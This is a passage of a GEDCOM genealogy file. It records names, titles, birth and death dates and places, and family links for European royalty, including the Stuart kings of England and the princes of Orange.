+1 FAMS @F626@
+1 FAMC @F402@
+0 @I611@ INDI
+1 NAME Johann Georg_II of_Anhalt-Dessau//
+1 TITL Prince
+1 SEX M
+1 DEAT
+2 DATE        1693
+1 FAMS @F221@
+0 @I612@ INDI
+1 NAME Unknown  //
+1 SEX F
+1 FAMS @F221@
+0 @I613@ INDI
+1 NAME Leopold_I of_Anhalt-Dessau //
+1 TITL Prince
+1 SEX M
+1 FAMS @F244@
+1 FAMC @F221@
+0 @I614@ INDI
+1 NAME Henriette Amalie //
+1 SEX F
+1 FAMS @F222@
+1 FAMC @F221@
+0 @I615@ INDI
+1 NAME Heinrich Kasimir of_Nassau-Dietz//
+1 TITL Prince
+1 SEX M
+1 FAMS @F222@
+0 @I616@ INDI
+1 NAME John William of_Orange/Friso/
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1686
+1 DEAT
+2 DATE        1711
+1 FAMS @F223@
+1 FAMC @F222@
+0 @I617@ INDI
+1 NAME Mary Louise //
+1 SEX F
+1 BIRT
+2 DATE        1688
+1 DEAT
+2 DATE        1765
+1 FAMS @F223@
+0 @I618@ INDI
+1 NAME William_IV of_Orange //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1711
+1 DEAT
+2 DATE        1751
+1 FAMS @F238@
+1 FAMC @F223@
+0 @I619@ INDI
+1 NAME Charlotte Amalia //
+1 SEX F
+1 BIRT
+2 DATE        1710
+1 DEAT
+2 DATE        1777
+1 FAMS @F224@
+1 FAMC @F223@
+0 @I620@ INDI
+1 NAME Friedrich of_Baden-Durlach //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1703
+1 DEAT
+2 DATE        1732
+1 FAMS @F224@
+0 @I621@ INDI
+1 NAME Karl Friedrich of_Baden//
+1 TITL Grand Duke
+1 SEX M
+1 FAMS @F225@
+1 FAMC @F224@
+0 @I622@ INDI
+1 NAME Unknown  //
+1 SEX F
+1 FAMS @F225@
+0 @I623@ INDI
+1 NAME Karl Ludwig of_Baden//
+1 TITL Prince
+1 SEX M
+1 FAMS @F226@
+1 FAMC @F225@
+0 @I624@ INDI
+1 NAME Unknown  //
+1 SEX F
+1 FAMS @F226@
+0 @I625@ INDI
+1 NAME Karl of_Baden //
+1 TITL Grand Duke
+1 SEX M
+1 FAMS @F227@
+1 FAMC @F226@
+0 @I626@ INDI
+1 NAME Caroline of_Baden //
+1 SEX F
+1 BIRT
+2 DATE 13 JUL 1776
+2 PLAC Karlsruhe
+1 DEAT
+2 DATE 13 NOV 1841
+2 PLAC Munich,Germany
+1 BURI
+2 PLAC Theatinerkirche,Munich,Germany
+1 FAMS @F232@
+1 FAMC @F226@
+0 @I627@ INDI
+1 NAME Unknown  //
+1 SEX F
+1 FAMS @F227@
+0 @I628@ INDI
+1 NAME Marie  //
+1 SEX F
+1 FAMS @F228@
+1 FAMC @F227@
+0 @I629@ INDI
+1 NAME William Alexander of_Hamilton//
+1 TITL Duke
+1 SEX M
+1 FAMS @F228@
+0 @I630@ INDI
+1 NAME Mary  //
+1 SEX F
+1 FAMS @F229@
+1 FAMC @F228@
+0 @I631@ INDI
+1 NAME Albert_I of_Monaco //
+1 TITL Prince
+1 SEX M
+1 FAMS @F229@
+0 @I632@ INDI
+1 NAME Louis_II of_Monaco //
+1 TITL Prince
+1 SEX M
+1 FAMS @F230@
+1 FAMC @F229@
+0 @I633@ INDI
+1 NAME Unknown  //
+1 SEX F
+1 FAMS @F230@
+0 @I634@ INDI
+1 NAME Charlotte  //
+1 SEX F
+1 FAMS @F231@
+1 FAMC @F230@
+0 @I635@ INDI
+1 NAME Pierre  /de_Polignac/
+1 TITL Prince
+1 SEX M
+1 FAMS @F231@
+0 @I636@ INDI
+1 NAME Rainier_III of_Monaco //
+1 TITL Prince
+1 SEX M
+1 FAMC @F231@
+0 @I637@ INDI
+1 NAME Maximilian_I Joseph /Wittelsbach/
+1 TITL King of Bavaria
+1 SEX M
+1 BIRT
+2 DATE 27 MAY 1756
+2 PLAC Mannheim,Germany
+1 DEAT
+2 DATE 13 OCT 1825
+2 PLAC Schloss,Nymphenburg,Germany
+1 BURI
+2 PLAC Theatinerkirche
+1 FAMS @F431@
+1 FAMS @F232@
+0 @I638@ INDI
+1 NAME Sophie (twin) /Wittelsbach/
+1 SEX F
+1 BIRT
+2 DATE        1805
+1 DEAT
+2 DATE        1872
+1 FAMS @F233@
+1 FAMC @F232@
+0 @I639@ INDI
+1 NAME Franz Karl of_Austria//
+1 TITL Archduke
+1 SEX M
+1 FAMS @F233@
+0 @I640@ INDI
+1 NAME Otto  //
+1 SEX M
+1 FAMS @F234@
+1 FAMC @F236@
+0 @I641@ INDI
+1 NAME Elisabeth Amalia //
+1 SEX F
+1 FAMS @F237@
+1 FAMC @F236@
+0 @I642@ INDI
+1 NAME Unknown  //
+1 SEX F
+1 FAMS @F234@
+0 @I643@ INDI
+1 NAME Karl_I of_Austria //
+1 TITL Emperor
+1 SEX M
+1 FAMS @F235@
+1 FAMC @F234@
+0 @I644@ INDI
+1 NAME Unknown  //
+1 SEX F
+1 FAMS @F235@
+0 @I645@ INDI
+1 NAME Otto of_Austria //
+1 TITL Archduke
+1 SEX M
+1 FAMC @F235@
+0 @I646@ INDI
+1 NAME Karl Ludwig //
+1 SEX M
+1 FAMS @F236@
+1 FAMC @F233@
+0 @I647@ INDI
+1 NAME Unknown  //
+1 SEX F
+1 FAMS @F236@
+0 @I648@ INDI
+1 NAME Aloys of_Liechtenstein //
+1 TITL Prince
+1 SEX M
+1 FAMS @F237@
+0 @I649@ INDI
+1 NAME Franz_Joseph_II of_Liechtenstein //
+1 TITL Prince
+1 SEX M
+1 FAMC @F237@
+0 @I650@ INDI
+1 NAME William_V of_Orange //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1748
+1 DEAT
+2 DATE        1806
+1 FAMS @F239@
+1 FAMC @F238@
+0 @I651@ INDI
+1 NAME Wilhelmina  //
+1 SEX F
+1 BIRT
+2 DATE        1751
+1 DEAT
+2 DATE        1820
+1 FAMS @F239@
+0 @I652@ INDI
+1 NAME William_II of_Netherlands //
+1 TITL King
+1 SEX M
+1 BIRT
+2 DATE  6 DEC 1792
+2 PLAC The Hague,Netherlands
+1 DEAT
+2 DATE 17 MAR 1849
+2 PLAC Tilburg
+1 FAMS @F240@
+1 FAMC @F202@
+0 @I653@ INDI
+1 NAME Frederik of_Netherlands //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1797
+1 DEAT
+2 DATE        1881
+1 FAMS @F388@
+1 FAMC @F202@
+0 @I654@ INDI
+1 NAME Anna Pavlovna //
+1 SEX F
+1 BIRT
+2 DATE 18 JAN 1795
+2 PLAC St. Petersburg,Russia
+1 DEAT
+2 DATE  1 MAR 1865
+2 PLAC The Hague
+1 FAMS @F240@
+1 FAMC @F469@
+0 @I655@ INDI
+1 NAME William_III of_Netherlands //
+1 TITL King
+1 SEX M
+1 BIRT
+2 DATE 19 FEB 1817
+2 PLAC Brussels,Belgium
+1 DEAT
+2 DATE 23 NOV 1890
+2 PLAC Het Loo
+1 FAMS @F447@
+1 FAMS @F241@
+1 FAMC @F240@
+0 @I656@ INDI
+1 NAME Emma of_Netherlands //
+1 TITL Queen Regent
+1 SEX F
+1 BIRT
+2 DATE  2 AUG 1858
+2 PLAC Arolsen
+1 DEAT
+2 DATE 20 MAR 1934
+2 PLAC The Hague
+1 FAMS @F241@
+1 FAMC @F67@
+0 @I657@ INDI
+1 NAME Wilhelmina of_Netherlands //
+1 TITL Queen
+1 SEX F
+1 BIRT
+2 DATE 31 AUG 1880
+2 PLAC The Hague,Netherlands
+1 DEAT
+2 DATE 28 NOV 1962
+2 PLAC Het Loo
+1 FAMS @F242@
+1 FAMC @F241@
+0 @I658@ INDI
+1 NAME Henry of_Mecklenburg //
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE 19 APR 1876
+2 PLAC Schwerin
+1 DEAT
+2 DATE  3 JUL 1934
+2 PLAC The Hague,Netherlands
+1 FAMS @F242@
+1 FAMC @F445@
+0 @I659@ INDI
+1 NAME Juliana of_Netherlands //
+1 TITL Queen
+1 SEX F
+1 BIRT
+2 DATE 30 APR 1909
+2 PLAC The Hague,Netherlands
+1 FAMS @F243@
+1 FAMC @F242@
+0 @I660@ INDI
+1 NAME Bernhard of_Lippe- Biesterfeld//
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE 29 JUN 1911
+2 PLAC Jena
+1 FAMS @F243@
+0 @I661@ INDI
+1 NAME Beatrix of_Netherlands //
+1 TITL Queen
+1 SEX F
+1 BIRT
+2 DATE 31 JAN 1938
+2 PLAC Soetdijk,Palace,Netherlands
+1 FAMS @F443@
+1 FAMC @F243@
+0 @I662@ INDI
+1 NAME Unknown  //
+1 SEX F
+1 FAMS @F244@
+0 @I663@ INDI
+1 NAME Leopold_II of_Anhalt-Dessau //
+1 TITL Prince
+1 SEX M
+1 FAMS @F245@
+1 FAMC @F244@
+0 @I664@ INDI
+1 NAME Unknown  //
+1 SEX F
+1 FAMS @F245@
+0 @I665@ INDI
+1 NAME Agnes  //
+1 SEX F
+1 FAMS @F246@
+1 FAMC @F245@
+0 @I666@ INDI
+1 NAME Johann  /Just/
+1 TITL Baron von Loen
+1 SEX M
+1 FAMS @F246@
+0 @I667@ INDI
+1 NAME Agnes  //
+1 SEX F
+1 FAMS @F247@
+1 FAMC @F246@
+0 @I668@ INDI
+1 NAME Ernst von_Seherr-Thoss //
+1 TITL Count
+1 SEX M
+1 FAMS @F247@
+0 @I669@ INDI
+1 NAME Hermann von_Seherr-Thoss //
+1 TITL Count
+1 SEX M
+1 FAMS @F248@
+1 FAMC @F247@
+0 @I670@ INDI
+1 NAME Unknown  //
+1 SEX F
+1 FAMS @F248@
+0 @I671@ INDI
+1 NAME Marguerite  //
+1 SEX F
+1 FAMS @F249@
+1 FAMC @F248@
+0 @I672@ INDI
+1 NAME Lajos Apponyi_de Nagy-Appony//
+1 TITL Count
+1 SEX M
+1 FAMS @F249@
+0 @I673@ INDI
+1 NAME Cyula Apponyi_de Nagy-Appony//
+1 TITL Count
+1 SEX M
+1 FAMS @F250@
+1 FAMC @F249@
+0 @I674@ INDI
+1 NAME Unknown  //
+1 SEX F
+1 FAMS @F250@
+0 @I675@ INDI
+1 NAME Geraldine  //
+1 SEX F
+1 FAMS @F251@
+1 FAMC @F250@
+0 @I676@ INDI
+1 NAME Zog_I of_Albania //
+1 TITL King
+1 SEX M
+1 FAMS @F251@
+0 @I677@ INDI
+1 NAME Leka_I of_Albania //
+1 TITL King
+1 SEX M
+1 FAMC @F251@
+0 @I678@ INDI
+1 NAME Karl of_Austria //
+1 TITL Archduke
+1 SEX M
+1 FAMS @F252@
+0 @I679@ INDI
+1 NAME Henriette  //
+1 SEX F
+1 FAMS @F252@
+0 @I680@ INDI
+1 NAME Karl Ferdinand //
+1 SEX M
+1 FAMS @F253@
+1 FAMC @F252@
+0 @I681@ INDI
+1 NAME Unknown  //
+1 SEX F
+1 FAMS @F253@
+0 @I682@ INDI
+1 NAME Maria Cristina of_Austria//
+1 TITL Queen of Spain
+1 SEX F
+1 BIRT
+2 DATE        1858
+1 DEAT
+2 DATE        1929
+1 FAMS @F254@
+1 FAMC @F253@
+0 @I683@ INDI
+1 NAME Alfonso_XII  //
+1 TITL King of Spain
+1 SEX M
+1 BIRT
+2 DATE        1857
+2 PLAC Madrid,Spain
+1 DEAT
+2 DATE        1885
+1 FAMS @F1243@
+1 FAMS @F254@
+1 FAMC @F453@
+0 @I684@ INDI
+1 NAME Joseph of_Austria //
+1 TITL Archduke
+1 SEX M
+1 FAMS @F255@
+0 @I685@ INDI
+1 NAME Elisabeth of_Austria //
+1 TITL Archduchess
+1 SEX F
+1 FAMS @F256@
+1 FAMC @F255@
+0 @I686@ INDI
+1 NAME Ferdinand of_Austria-Este //
+1 TITL Archduke
+1 SEX M
+1 FAMS @F256@
+0 @I687@ INDI
+1 NAME Maria Theresa //
+1 SEX F
+1 BIRT
+2 DATE  2 JUL 1849
+2 PLAC Brunn
+1 DEAT
+2 DATE  3 FEB 1919
+2 PLAC Schloss,Wildenwart
+1 BURI
+2 PLAC Dom Church,Munich,Germany
+1 FAMS @F257@
+1 FAMC @F256@
+0 @I688@ INDI
+1 NAME Ludwig_III  /Wittelsbach/
+1 TITL King of Bavaria
+1 SEX M
+1 BIRT
+2 DATE  7 JAN 1845
+2 PLAC Munich,Germany
+1 DEAT
+2 DATE 18 OCT 1921
+2 PLAC Sarvar,Hungary
+1 FAMS @F257@
+1 FAMC @F438@
+0 @I689@ INDI
+1 NAME Rupprecht of_Bavaria //
+1 TITL Crown Prince
+1 SEX M
+1 BIRT
+2 DATE        1869
+1 DEAT
+2 DATE        1955
+1 FAMS @F258@
+1 FAMS @F439@
+1 FAMC @F257@
+0 @I690@ INDI
+1 NAME Maria Gabriele of_Bavaria//
+1 SEX F
+1 BIRT
+2 DATE        1878
+1 DEAT
+2 DATE        1912
+1 FAMS @F258@
+1 FAMC @F441@
+0 @I691@ INDI
+1 NAME Albrecht (Albert) //
+1 TITL Duke of Bavaria
+1 SEX M
+1 BIRT
+2 DATE        1905
+1 FAMC @F258@
+0 @I692@ INDI
+1 NAME George of_Denmark //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE  2 APR 1653
+2 PLAC Copenhagen,Denmark
+1 DEAT
+2 DATE 28 OCT 1708
+2 PLAC Kensington,Palace,,England
+1 FAMS @F259@
+1 FAMC @F637@
+0 @I693@ INDI
+1 NAME Anne  /Stuart/
+1 TITL Queen of England
+1 SEX F
+1 BIRT
+2 DATE  6 FEB 1665
+2 PLAC St. James Palace,London,England
+1 DEAT
+2 DATE  1 AUG 1714
+2 PLAC Kensington,Palace,London,England
+1 BURI
+2 PLAC Westminster,Abbey,London,England
+1 FAMS @F259@
+1 FAMC @F260@
+0 @I694@ INDI
+1 NAME Daughter  //
+1 SEX F
+1 BIRT
+2 DATE 12 MAY 1684
+1 DEAT
+2 DATE 12 MAY 1684
+1 FAMC @F259@
+0 @I695@ INDI
+1 NAME Mary  //
+1 SEX F
+1 BIRT
+2 DATE  2 JUN 1685
+2 PLAC Whitehall,,England
+1 DEAT
+2 DATE  8 FEB 1687
+2 PLAC Windsor Castle,Berkshire,England
+1 FAMC @F259@
+0 @I696@ INDI
+1 NAME Anne Sophia //
+1 SEX F
+1 BIRT
+2 DATE 12 MAY 1686
+2 PLAC Windsor Castle,Berkshire,England
+1 DEAT
+2 DATE  2 FEB 1687
+2 PLAC Windsor Castle,Berkshire,England
+1 FAMC @F259@
+0 @I697@ INDI
+1 NAME Son  //
+1 SEX M
+1 BIRT
+2 DATE 22 OCT 1687
+1 DEAT
+2 DATE 22 OCT 1687
+1 FAMC @F259@
+0 @I698@ INDI
+1 NAME William of_Gloucester //
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE 24 JUL 1689
+2 PLAC Hampton Court,Palace,England
+1 DEAT
+2 DATE 30 JUL 1700
+2 PLAC Windsor Castle,Berkshire,England
+1 FAMC @F259@
+0 @I699@ INDI
+1 NAME Mary  //
+1 SEX F
+1 BIRT
+2 DATE 14 OCT 1690
+2 PLAC St. James Palace,London,England
+1 DEAT
+2 DATE 14 OCT 1690
+2 PLAC St. James Palace,London,England
+1 FAMC @F259@
+0 @I700@ INDI
+1 NAME George  //
+1 SEX M
+1 BIRT
+2 DATE 17 APR 1692
+2 PLAC Syon House,Brentford,Middlesex,England
+1 DEAT
+2 DATE 17 APR 1692
+2 PLAC Syon House,Brentford,Middlesex,England
+1 FAMC @F259@
+0 @I701@ INDI
+1 NAME Daughter  //
+1 SEX F
+1 BIRT
+2 DATE 23 MAR 1693
+2 PLAC Berkeley House,,England
+1 DEAT
+2 DATE 23 MAR 1693
+2 PLAC Berkeley House,,England
+1 FAMC @F259@
+0 @I702@ INDI
+1 NAME Daughter  //
+1 SEX F
+1 BIRT
+2 DATE 18 FEB 1696
+1 DEAT
+2 DATE 18 FEB 1696
+1 FAMC @F259@
+0 @I703@ INDI
+1 NAME Son  //
+1 SEX M
+1 BIRT
+2 DATE 20 SEP 1696
+2 PLAC Windsor,Berkshire,England
+1 DEAT
+2 DATE 20 SEP 1696
+2 PLAC Windsor,Berkshire,England
+1 FAMC @F259@
+0 @I704@ INDI
+1 NAME Son  //
+1 SEX M
+1 BIRT
+2 DATE 15 SEP 1698
+1 DEAT
+2 DATE 15 SEP 1698
+1 FAMC @F259@
+0 @I705@ INDI
+1 NAME Daughter  //
+1 SEX F
+1 BIRT
+2 DATE 25 JAN 1700
+1 DEAT
+2 DATE 25 JAN 1700
+1 FAMC @F259@
+0 @I706@ INDI
+1 NAME James_II  /Stuart/
+1 TITL King of England
+1 SEX M
+1 BIRT
+2 DATE 14 OCT 1633
+2 PLAC St. James Palace,London,England
+1 DEAT
+2 DATE  6 SEP 1701
+2 PLAC St. Germain-,en-Laye,France
+1 BURI
+2 PLAC St. Germain-,en-Laye,France
+1 FAMS @F260@
+1 FAMS @F261@
+1 FAMC @F270@
+0 @I707@ INDI
+1 NAME Anne  /Hyde/
+1 SEX F
+1 BIRT
+2 DATE 12 MAR 1637/1638
+2 PLAC Cranbourne Lodge,Near,Windsor,England
+1 DEAT
+2 DATE 31 MAR 1671
+2 PLAC St. James Palace,London,England
+1 FAMS @F260@
+1 FAMC @F944@
+0 @I708@ INDI
+1 NAME Charles of_Cambridge //
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE 22 OCT 1660
+2 PLAC Worcester House,London,England
+1 DEAT
+2 DATE  5 MAY 1661
+2 PLAC Whitehall
+1 FAMC @F260@
+0 @I709@ INDI
+1 NAME Mary_II  //
+1 TITL Queen of England
+1 SEX F
+1 BIRT
+2 DATE 30 APR 1662
+2 PLAC St. James Palace,London,England
+1 DEAT
+2 DATE 28 DEC 1694
+2 PLAC Kensington,Palace,London,England
+1 BURI
+2 PLAC Westminster,Abbey,London,England
+1 FAMS @F276@
+1 FAMC @F260@
+0 @I710@ INDI
+1 NAME James of_Cambridge //
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE 12 JUL 1663
+2 PLAC St. James Palace,London,England
+1 DEAT
+2 DATE 22 MAY 1667
+2 PLAC St. James Palace,London,England
+1 FAMC @F260@
+0 @I711@ INDI
+1 NAME Charles  //
+1 TITL Duke of Kendal
+1 SEX M
+1 BIRT
+2 DATE  4 JUL 1666
+2 PLAC St. James Palace,London,England
+1 DEAT
+2 DATE 20 JUN 1667
+2 PLAC Richmond Palace,,England
+1 FAMC @F260@
+0 @I712@ INDI
+1 NAME Edgar of_Cambridge //
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE 14 SEP 1667
+2 PLAC St. James Palace,London,England
+1 DEAT
+2 DATE 15 NOV 1669
+2 PLAC Richmond Palace,London,England
+1 FAMC @F260@
+0 @I713@ INDI
+1 NAME Henrietta  //
+1 SEX F
+1 BIRT
+2 DATE 13 JAN 1669
+2 PLAC Whitehall,,England
+1 DEAT
+2 DATE 15 NOV 1669
+2 PLAC St. James Palace,,England
+1 FAMC @F260@
+0 @I714@ INDI
+1 NAME Catherine  //
+1 SEX F
+1 BIRT
+2 DATE  9 FEB 1671
+2 PLAC Whitehall,,England
+1 DEAT
+2 DATE  5 DEC 1671
+2 PLAC St. James Palace,,England
+1 FAMC @F260@
+0 @I715@ INDI
+1 NAME Mary Beatrice of_Modena//
+1 SEX F
+1 BIRT
+2 DATE 25 SEP 1658
+1 DEAT
+2 DATE  7 MAY 1718
+2 PLAC St. Germain-,en-Laye,France
+1 BURI
+2 PLAC Convent of,Chaillot,France
+1 FAMS @F261@
+1 FAMC @F275@
+0 @I716@ INDI
+1 NAME Catherine Laura /Stuart/
+1 SEX F
+1 BIRT
+2 DATE 10 JAN
+2 PLAC St. James Palace,London,England
+1 DEAT
+2 DATE  3 OCT 1675
+2 PLAC St. James Palace,London,England
+1 FAMC @F261@
+0 @I717@ INDI
+1 NAME Charles of_Cambridge /Stuart/
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE  7 NOV 1677
+2 PLAC St. James Palace,London,England
+1 DEAT
+2 DATE 12 DEC 1677
+2 PLAC St. James Palace,London,England
+1 FAMC @F261@
+0 @I718@ INDI
+1 NAME Charlotte Maria /Stuart/
+1 SEX F
+1 BIRT
+2 DATE 16 AUG 1682
+2 PLAC St. James Palace,London,England
+1 DEAT
+2 DATE  6 OCT 1682
+2 PLAC St. James Palace,London,England
+1 FAMC @F261@
+0 @I719@ INDI
+1 NAME James Francis Edward/Stuart/
+1 TITL Prince of Wales
+1 SEX M
+1 BIRT
+2 DATE 10 JUN 1688
+2 PLAC St. James Palace,London,England
+1 DEAT
+2 DATE  1 JAN 1766
+2 PLAC Rome,,Italy
+1 FAMS @F262@
+1 FAMC @F261@
+0 @I720@ INDI
+1 NAME Louisa Maria Theresa/Stuart/
+1 SEX F
+1 BIRT
+2 DATE 28 JUN 1692
+2 PLAC St. Germain-,en-Laye,France
+1 DEAT
+2 DATE  8 APR 1712
+2 PLAC St. Germain-,en-Laye,France
+1 FAMC @F261@
+0 @I721@ INDI
+1 NAME Maria Casimire Clementina/Sobieska/
+1 SEX F
+1 BIRT
+2 DATE 18 JUL 1702
+1 DEAT
+2 DATE 18 JAN 1735
+2 PLAC Rome,,Italy
+1 FAMS @F262@
+1 FAMC @F952@
+0 @I722@ INDI
+1 NAME Charles Edward Louis/Stuart/
+1 SEX M
+1 BIRT
+2 DATE 31 DEC 1720
+2 PLAC Rome,,Italy
+1 DEAT
+2 DATE 31 JAN 1788
+2 PLAC Rome,,Italy
+1 FAMS @F263@
+1 FAMC @F262@
+0 @I723@ INDI
+1 NAME Henry Benedict Thomas/Stuart/
+1 TITL Duke of York
+1 SEX M
+1 BIRT
+2 DATE  6 MAR 1725
+2 PLAC Rome,,Italy
+1 DEAT
+2 DATE 13 JUL 1807
+2 PLAC Frascati,,Italy
+1 FAMC @F262@
+0 @I724@ INDI
+1 NAME Louise Maximilienne Caroline//
+1 SEX F
+1 BIRT
+2 DATE 10 SEP 1752
+2 PLAC Mons
+1 DEAT
+2 DATE 29 JAN 1824
+2 PLAC Florence,,Italy
+1 FAMS @F263@
+1 FAMC @F954@
+0 @I725@ INDI
+1 NAME James_I  /Stuart/
+1 TITL King of England
+1 SEX M
+1 BIRT
+2 DATE 19 JUN 1566
+2 PLAC Edinburgh Castle,,Scotland
+1 DEAT
+2 DATE 27 MAR 1625
+2 PLAC Theobalds Park,Hertfordshire,Herts,England
+1 BURI
+2 PLAC Westminster,Abbey,London,England
+1 FAMS @F264@
+1 FAMC @F455@
+0 @I726@ INDI
+1 NAME Anne of_Denmark //
+1 SEX F
+1 BIRT
+2 DATE 14 OCT 1574
+2 PLAC Skanderborg,Castle
+1 DEAT
+2 DATE  4 MAR 1619
+2 PLAC Hampton Court,Palace
+1 BURI
+2 PLAC Westminster,Abbey,London,England
+1 FAMS @F264@
+1 FAMC @F268@
+0 @I727@ INDI
+1 NAME Henry Frederick /Stuart/
+1 TITL Prince of Wales
+1 SEX M
+1 BIRT
+2 DATE 19 FEB 1594
+2 PLAC Stirling Castle
+1 DEAT
+2 DATE  6 NOV 1612
+2 PLAC St. James Palace,,England
+1 FAMC @F264@
+0 @I728@ INDI
+1 NAME Elizabeth  /Stuart/
+1 SEX F
+1 BIRT
+2 DATE 19 AUG 1596
+2 PLAC Dunfermline
+1 DEAT
+2 DATE 13 FEB 1662
+2 PLAC Leicester House,London,England
+1 FAMS @F265@
+1 FAMC @F264@
+0 @I729@ INDI
+1 NAME Margaret  /Stuart/
+1 SEX F
+1 BIRT
+2 DATE 24 DEC 1598
+2 PLAC Dalkeith Palace
+1 DEAT
+2 DATE    MAR 1600
+2 PLAC Linlithgow
+1 FAMC @F264@
+0 @I730@ INDI
+1 NAME Charles_I  /Stuart/
+1 TITL King of England
+1 SEX M
+1 BIRT
+2 DATE 19 NOV 1600
+2 PLAC Dunfermline,Scotland
+1 DEAT
+2 DATE 30 JAN 1649
+2 PLAC Whitehall Palace,,England
+1 BURI
+2 PLAC St. George's,Chapel,Windsor,England
+1 FAMS @F270@
+1 FAMC @F264@
+0 @I731@ INDI
+1 NAME Robert  /Stuart/
+1 TITL Duke of Kintyre
+1 SEX M
+1 BIRT
+2 DATE 18 JAN 1602
+2 PLAC Dunfermline
+1 DEAT
+2 DATE 27 MAY 1602
+2 PLAC Dunfermline
+1 FAMC @F264@
+0 @I732@ INDI
+1 NAME Son  //
+1 SEX M
+1 BIRT
+2 DATE    MAY 1603
+2 PLAC Stirling
+1 DEAT
+2 DATE    MAY 1603
+2 PLAC Stirling
+1 FAMC @F264@
+0 @I733@ INDI
+1 NAME Mary  /Stuart/
+1 SEX F
+1 BIRT
+2 DATE  8 APR 1605
+2 PLAC Greenwich Palace
+1 DEAT
+2 DATE 16 SEP 1607
+2 PLAC Stanwell Park,Middlesex,England
+1 FAMC @F264@
+0 @I734@ INDI
+1 NAME Sophia  /Stuart/
+1 SEX F
+1 BIRT
+2 DATE 22 JUN 1606
+2 PLAC Greenwich Palace
+1 DEAT
+2 DATE 23 JUN 1606
+2 PLAC Greenwich Palace
+1 FAMC @F264@
+0 @I735@ INDI
+1 NAME Frederick_V of_Palatinate //
+1 TITL King of Bohemia
+1 SEX M
+1 BIRT
+2 DATE        1596
+1 DEAT
+2 DATE        1632
+1 FAMS @F265@
+0 @I736@ INDI
+1 NAME Sophia  /Hanover/
+1 SEX F
+1 BIRT
+2 DATE        1630
+1 DEAT
+2 DATE        1714
+1 FAMS @F266@
+1 FAMC @F265@
+0 @I737@ INDI
+1 NAME Frederick_II of_Denmark and_Norway//
+1 TITL King
+1 SEX M
+1 BIRT
+2 DATE  1 JUL 1534
+2 PLAC Haderslevhus
+1 DEAT
+2 DATE  4 APR 1588
+2 PLAC Antvorslev,Castle
+1 BURI
+2 PLAC Roskilde,Cathedral,Denmark
+1 FAMS @F268@
+1 FAMC @F638@
+0 @I738@ INDI
+1 NAME Sophia of_Mecklenburg- Gustrow//
+1 SEX F
+1 BIRT
+2 DATE  4 SEP 1557
+2 PLAC Wismar
+1 DEAT
+2 DATE  4 OCT 1631
+2 PLAC Nykobing
+1 FAMS @F268@
+0 @I739@ INDI
+1 NAME Henrietta Maria of_France//
+1 SEX F
+1 BIRT
+2 DATE 26 NOV 1609
+2 PLAC Hotel du Louvre,Paris,France
+1 DEAT
+2 DATE 31 AUG 1669
+2 PLAC Colombe,Near Paris,France
+1 BURI
+2 PLAC St. Denis
+1 FAMS @F270@
+1 FAMC @F271@
+0 @I740@ INDI
+1 NAME Henry_IV the_Great //
+1 TITL King of France
+1 SEX M
+1 BIRT
+2 DATE 13 DEC 1553
+2 PLAC Pau,Navarre,France
+1 DEAT
+2 DATE 14 MAY 1610
+2 PLAC Paris,France
+1 BURI
+2 PLAC St. Denis,France
+1 FAMS @F1184@
+1 FAMS @F271@
+1 FAMC @F446@
+0 @I741@ INDI
+1 NAME Marie  /de'_Medici/
+1 SEX F
+1 BIRT
+2 DATE        1573
+1 DEAT
+2 DATE        1642
+1 FAMS @F271@
+1 FAMC @F489@
+0 @I742@ INDI
+1 NAME Charles James /Stuart/
+1 TITL Duke of Cornwall
+1 SEX M
+1 BIRT
+2 DATE 13 MAY 1629
+2 PLAC Greenwich Palace
+1 DEAT
+2 DATE 13 MAY 1629
+2 PLAC Greenwich Palace
+1 FAMC @F270@
+0 @I743@ INDI
+1 NAME Charles_II  /Stuart/
+1 TITL King of England
+1 SEX M
+1 BIRT
+2 DATE 29 MAY 1630
+2 PLAC St. James Palace,London,England
+1 DEAT
+2 DATE  6 FEB 1685
+2 PLAC Whitehall Palace,,England
+1 BURI
+2 PLAC Westminster,Abbey,London,England
+1 FAMS @F273@
+1 FAMC @F270@
+0 @I744@ INDI
+1 NAME Mary  /Stuart/
+1 TITL Princess Royal
+1 SEX F
+1 BIRT
+2 DATE  4 NOV 1631
+2 PLAC St. James Palace,London,England
+1 DEAT
+2 DATE 24 DEC 1660
+2 PLAC Whitehall Palace,,England
+1 FAMS @F269@
+1 FAMC @F270@
+0 @I745@ INDI
+1 NAME Elizabeth  /Stuart/
+1 SEX F
+1 BIRT
+2 DATE 29 DEC 1635
+2 PLAC St. James Palace,London,England
+1 DEAT
+2 DATE  8 SEP 1650
+2 PLAC Carisbrooke,Castle,Isle of Wight,England
+1 FAMC @F270@
+0 @I746@ INDI
+1 NAME Anne  /Stuart/
+1 SEX F
+1 BIRT
+2 DATE 17 MAR 1637
+2 PLAC St. James Palace,London,England
+1 DEAT
+2 DATE  5 NOV 1640
+2 PLAC Richmond Palace,,England
+1 FAMC @F270@
+0 @I747@ INDI
+1 NAME Catherine  /Stuart/
+1 SEX F
+1 BIRT
+2 DATE 29 JUN 1639
+2 PLAC Whitehall Palace,,England
+1 DEAT
+2 DATE 29 JUN 1639
+2 PLAC Whitehall Palace,,England
+1 FAMC @F270@
+0 @I748@ INDI
+1 NAME Henry of_Gloucester /Stuart/
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE  8 JUL 1640
+2 PLAC Oatlands,Surrey,England
+1 DEAT
+2 DATE 13 SEP 1660
+2 PLAC Whitehall Palace
+1 FAMC @F270@
+0 @I749@ INDI
+1 NAME Henrietta Anne /Stuart/
+1 SEX F
+1 BIRT
+2 DATE 16 JUN 1644
+2 PLAC Bedford House,Exeter,England
+1 DEAT
+2 DATE 30 JUN 1670
+2 PLAC St. Cloud
+1 FAMS @F272@
+1 FAMC @F270@
+0 @I750@ INDI
+1 NAME William_II of_Orange //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1626
+1 DEAT
+2 DATE        1650
